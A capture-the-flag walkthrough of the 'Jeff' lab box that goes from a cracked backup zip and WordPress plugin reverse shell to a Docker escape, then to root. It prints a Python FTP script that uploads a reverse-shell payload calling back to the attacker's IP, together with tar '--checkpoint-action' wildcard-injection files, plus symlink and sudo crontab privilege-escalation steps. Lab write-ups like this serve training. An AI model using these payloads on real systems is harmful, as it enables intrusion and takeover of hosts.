Difficulty: Hard
URL: Jeff
Intro
Namaste everyone. Welcome back! This time i am going to solve jeff. To be honest it was really difficult for me. But at the end i solved it. Its going to be a long read.
So some info about the box before we begin. We exploit the wordpress site and find that its inside a docker container and you need to escape out of it. Once you escape you need to find a way to get jeff’s password which you don’t have permission to access. Once you are jeff you can get user flag and privilege escalation is really easy !
Scanning and Enumeration
Nmap scan report for 10.10.189.32
Host is up (0.44s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7e:43:5f:1e:58:a8:fc:c9:f7:fd:4b:40:0b:83:79:32 (RSA)
| 256 5c:79:92:dd:e9:d1:46:50:70:f0:34:62:26:f0:69:39 (ECDSA)
|_ 256 ce:d9:82:2b:69:5f:82:d0:f5:5c:9b:3e:be:76:88:c3 (ED25519)
80/tcp open http nginx
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The box has ssh and http open. For the most of time we will be dealing with the http server
- Port 80
Looking at the site its an blank page. Viewing the source we find that we need to put jeff.thm
into our /etc/hosts
Let’s visit jeff.thm
now
Browsing at the site we don’t find anything interesting. So i fired out gobuster to see if there are hidden directories
gobuster dir -u jeff.thm -w /usr/share/wordlists/dirb/common.txt
Looking at the scan instantly backups
caught my attention. I may look into uploads
later on. inside backups
it must contain a backup of something right?
So i went to http://jeff.thm/backups/backup.zip
and there was a zip file and it started downloading.
Let’s unzip it and see what it contains
Oops! It’s password protected. So in this phase i had no option but only to bruteforce it.
For bruteforcing i used a tool fcrackzip
. You can easily install by running apt install fcrackzip
fcrackzip -D -p /usr/share/wordlists/rockyou.txt backup.zip
D
: Run a dictionary attack
-p
: password list
Use -v
to verbose output
Within a few seconds it found the password
possible pw found: [REDACTED]
Let’s unzip and see the contents inside
unzip backup.zip
root@kali:~/Desktop/tryhackme/jeff/backup# ls -la
total 20
drwxrwx--- 3 root root 4096 Sep 26 05:14 .
drwxr-xr-x 4 root root 4096 Sep 26 02:41 ..
drwxrwx--- 2 root root 4096 Sep 26 05:14 assets
-rwxrwx--- 1 root root 1178 May 14 11:20 index.html
-rwxrwx--- 1 root root 41 May 14 11:20 wpadmin.bak
Looking inside we can say it’s the backup of wordpress website and wpadmin.bak
should contain a creds for the login.
wordpress password is: [REDACTED]
But wait a moment we didn’t find any wordpress running at the jeff.thm
and inside it’s directories but the developer said that he was building a wordpress site and he will be upgrading in the future so there must be a subdomain where he might have hosted wordpress.
We can also find the subdomains of the site from gobuster
gobuster vhost -u jeff.thm -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
And it did found a subdomain where wordpress is hosted
Found: wordpress.jeff.thm (Status: 200) [Size: 25901]
We know the password from the backup.zip
and looking at the site jeff
maybe the username. Let’s login going to http://wordpress.jeff.thm/wp-admin
Exploitation
Let’s get a reverse shell so we can go deep inside the box. There are multiple ways to get reverse shell but this time i am going to get it from using malicious plugin. I did the injecting malicious code in themes in internal writeup. So i wanted to try something new
You can get the malicious code from the github link
We need to zip it and install in order to work. Let’s mame it final.zip
zip final.zip ./revshell.php
And upload it to the Plugins > Add New > Upload Plugin >
and install it.
Fire up a listener in you attacker box and activate the plugin to get reverse shell
Looking inside we are in a docker container which has it’s own system. So we are limited. At this point i was searching for a way to escape this container and enumerated further. I found a interesting file inside the /var/www/html
named ftp_backup.php
www-data@Jeff:/var/www/html$ ls
ls
ftp_backup.php
index.php
license.txt
readme.html
wp-activate.php
wp-admin
wp-blog-header.php
wp-comments-post.php
wp-config-sample.php
wp-config.php
wp-content
wp-cron.php
wp-includes
wp-links-opml.php
wp-load.php
wp-login.php
wp-mail.php
wp-settings.php
wp-signup.php
wp-trackback.php
xmlrpc.php
Looking inside that script…
<?php
/*
Todo: I need to finish coding this database backup script.
also maybe convert it to a wordpress plugin in the future.
*/
$dbFile = 'db_backup/backup.sql';
$ftpFile = 'backup.sql';
$username = "backupmgr";
$password = "[REDACTED]";
$ftp = ftp_connect("172.20.0.1"); // todo, set up /etc/hosts for the container host
if( ! ftp_login($ftp, $username, $password) ){
die("FTP Login failed.");
}
$msg = "Upload failed";
if (ftp_put($ftp, $remote_file, $file, FTP_ASCII)) {
$msg = "$file was uploaded.\n";
}
echo $msg;
ftp_close($conn_id);
My thoughts when i looked the script:
- It is somehow looking like a script to upload files to ftp
- It has a host but it is internal access only
- The script isn’t complete yet
So at this moment i struggled. I was learning as well and it felt like it was out of my league. I knew i was in a docker container and i had to escape it. Finding this script i knew i had a ftp login creds which i can use but didn’t know how can i exploit ?
I took some help and research about wildcard exploitation
After looking how can i automate this, found that in container python3.7
is installed which is going to be helpful for us
I will try my best to explain it to you
I curl to the host we are given with the creds and list what’s inside using this
curl -v -s -P- 'ftp://backupmgr:[REDACTED]@172.20.0.1/'
-v
verbose output
-s
silent mode
-P
we need to have proxy to make it work
* Connection #0 to host 172.20.0.1 left intact
drwxr-xr-x 2 1001 1001 4096 May 18 16:14 files
www-data@Jeff:/var/www/html$
Okay! there’s a files
directory
So here’s what i am gonna do
- Create a python script to upload a reverse shell to that
files
so that when the connection is established we can escape the container
But how?
- When our exploit is at the ftp it gets executed using TAR Wildcard Exploitation
Here’s the python script i will explain it as well
#!/usr/bin/env python3.7
from ftplib import FTP
import io
#Connecting to the host
ftp = FTP(host= '172.20.0.1')
#login for ftp user
ftp.login(user= "backupmgr", passwd= "[REDACTED]")
ftp.getwelcome()
ftp.set_pasv(False)
ftp.dir()
ftp.cwd('/files')
payload = io.BytesIO(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.0.140",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')
empty = io.BytesIO(b'')
ftp.storlines('STOR exploit.sh', payload)
ftp.storlines('STOR --checkpoint=1', empty)
ftp.storlines('STOR --checkpoint-action=exec=sh exploit.sh', empty)
ftp.quit()
Explanation
- From the
ftplib
we are going to importFTP
module which is required for ftp connection - We then provide the
host
,username
and thepassword
for the ftp server.
We set it to active mode because the passive mode won’t work out
#In the active mode - the data connection is incoming to the FTP client and outgoing from the FTP server
# In the passive mode - the data connection is incomting to the FTP server and outfgoing from the FTP client
ftp.set_pasv(False) #sets it to the active mode
- Then we are going to change our directory to
/files
There are two common modes for transferring files via FTP, ascii
and binary
Ascii mode transfers files as ‘text’. Examples of ascii files would be .txt, .asp, .html, and .php files
Binary mode transfers files as raw data. Examples of binary files would be .wav, .jpg, .gif, and mp3 files
So we are using ascii mode to transfer files
- We create two files one
payload
which contains our reverse shell and anotherempty
ftp.storlines()
: Store a file in ASCII transfer mode.
ftp.storlines('STOR shell.sh',payload)
ftp.storlines('STOR --checkpoint=1',empty)
ftp.storlines('STOR --checkpoint-action=exec=sh shell.sh',empty)
So here we are using TAR wildcard exploitation to make it work. Outside the container there’s a cronjob to backup everything inside there every min so it is how the above code gets executed and we get a reverse shell.
ftp.quit()
just exits the connection.
Ready? Let’s upload to the container by creating a server and run it
Make the file executable
chmod +x exploit.py
and run it. In your attacker machine open a listener at 1234
and in a min the cronjob will execute our shell.
let’s get a fully interactive tty shell using python and when we list the current directory
backupmgr@tryharder:~/.ftp/files$ ls -la
total 12
drwxr-xr-x 2 backupmgr backupmgr 4096 Sep 26 11:15 .
drwxr-xr-x 3 nobody nogroup 4096 May 11 01:32 ..
-rwxr-xr-x 1 backupmgr backupmgr 0 Sep 26 11:15 '--checkpoint=1'
-rwxr-xr-x 1 backupmgr backupmgr 0 Sep 26 11:15 '--checkpoint-action=exec=sh exploit.sh'
-rwxr-xr-x 1 backupmgr backupmgr 228 Sep 26 11:15 exploit.sh
That’s how the exploit happened , it reached to the checkpoint 1
and it instructed to execute a shell exploit.sh
which contains our payload to give reverse shell. Hope you understood it. It took me a lot of time to understand.
Now we got outside the container we can easily move ahead. We are the user backupmgr
and we can’t access the user jeff
backupmgr@tryharder:~/.ftp/files$ cd /home
backupmgr@tryharder:/home$ ls -la
total 16
drwxr-xr-x 4 root root 4096 May 10 22:28 .
drwxr-xr-x 25 root root 4096 May 23 14:40 ..
drwxr-xr-x 7 backupmgr backupmgr 4096 May 24 13:25 backupmgr
drwx------ 5 jeff jeff 4096 May 18 16:09 jeff
backupmgr@tryharder:/home$
So to escalate our privilege let’s see what are the files owned by jeff
find / -user jeff 2>/dev/null
hmm…
backupmgr@tryharder:/home$ find / -user jeff 2>/dev/null
/opt/systools
/opt/systools/systool
/home/jeff
/var/backups/jeff.bak
backupmgr@tryharder:/home$
/var/backups/jeff.bak
contains the creds of jeff
which we can’t access right now..
/opt/systools/systool
seems interesting
backupmgr@tryharder:/opt/systools$ file systool
systool: setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a1b3c82d2e7f7a8238bc85dabfef348c6ca50557, for GNU/Linux 3.2.0, not stripped
backupmgr@tryharder:/opt/systools$ ls -la
total 32
drwxrwxrwx 2 jeff jeff 4096 May 24 15:08 .
drwxr-xr-x 4 root root 4096 May 24 13:13 ..
-rwxrwxrwx 1 root root 108 May 24 13:19 message.txt
-rwxr-sr-x 1 jeff pwman 17160 May 24 13:18 systool
backupmgr@tryharder:/opt/systools$
Looking at the files systool
we can execute it. Before that let’s see what is inside the message.txt
backupmgr@tryharder:/opt/systools$ cat message.txt
Jeff, you should login with your own account to view/change your password. I hope you haven't forgotten it.
backupmgr@tryharder:/opt/systools$
Let’s run systool
backupmgr@tryharder:/opt/systools$ ./systool
Welcome to Jeffs System Administration tool.
This is still a very beta version and some things are not implemented yet.
Please Select an option from below.
1 ) View process information.
2 ) Restore your password.
3 ) Exit
Chose your option: 2
Jeff, you should login with your own account to view/change your password. I hope you haven't forgotten it.
1 ) View process information.
2 ) Restore your password.
3 ) Exit
Chose your option: 3
backupmgr@tryharder:/opt/systools$
Okay what we can see is option 2 reads the file from message.txt
So how can we exploit it to give us password of jeff?
We can delete the message.txt and link the /opt/backups/jeff.bak
to message.txt
and when the tool runs it tries to read the file from jeff.bak
and displays whats inside .
Let’s try out
backupmgr@tryharder:/opt/systools$ rm message.txt
backupmgr@tryharder:/opt/systools$ ln -s /var/backups/jeff.bak message.txt
backupmgr@tryharder:/opt/systools$ ls -la
total 28
drwxrwxrwx 2 jeff jeff 4096 Sep 26 11:34 .
drwxr-xr-x 4 root root 4096 May 24 13:13 ..
lrwxrwxrwx 1 backupmgr backupmgr 21 Sep 26 11:34 message.txt -> /var/backups/jeff.bak
-rwxr-sr-x 1 jeff pwman 17160 May 24 13:18 systool
backupmgr@tryharder:/opt/systools$
backupmgr@tryharder:/opt/systools$ ./systool
Welcome to Jeffs System Administration tool.
This is still a very beta version and some things are not implemented yet.
Please Select an option from below.
1 ) View process information.
2 ) Restore your password.
3 ) Exit
Chose your option: 2
Your Password is: [REDACTED]
1 ) View process information.
2 ) Restore your password.
3 ) Exit
Chose your option:
There you go..
We know ssh
is open . Let’s ssh into jeff@jeff.thm
with the above creds
Listing out the files there’s user.flag
which is our first flag. Also you need to md5 the inside content to upload it. i will leave this to you
Privilege Escalation
It’s really easy to escalate to root.
But the issue is jeff
is running on a restricted shell so we need to escape out of it
The one i used is
ssh jeff@jeff.thm -t "bash --noprofile"
What it does is it starts the remote shell without loading “rc” profile ( where most of the limitations are often configured)
When you type sudo -l
jeff@tryharder:~$ sudo -l
[sudo] password for jeff:
Matching Defaults entries for jeff on tryharder:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jeff may run the following commands on tryharder:
(ALL) /usr/bin/crontab
jeff@tryharder:~$
Easy right ?
so i ran sudo /usr/bin/crontab -e
which opened vim
and for getting shell you just need to type :!/bin/sh
Great now you are now root
and the final flag is in the /root
Conclusion
That’s it folks! If you read whole writeup i hope it didn’t bore you. I tried to explain in deep as much as possible. There was a complete learning for me as well. It was worth the time to solve this challenge and learn new things. Okay so I will see you again in next writeup.
~ickl0cc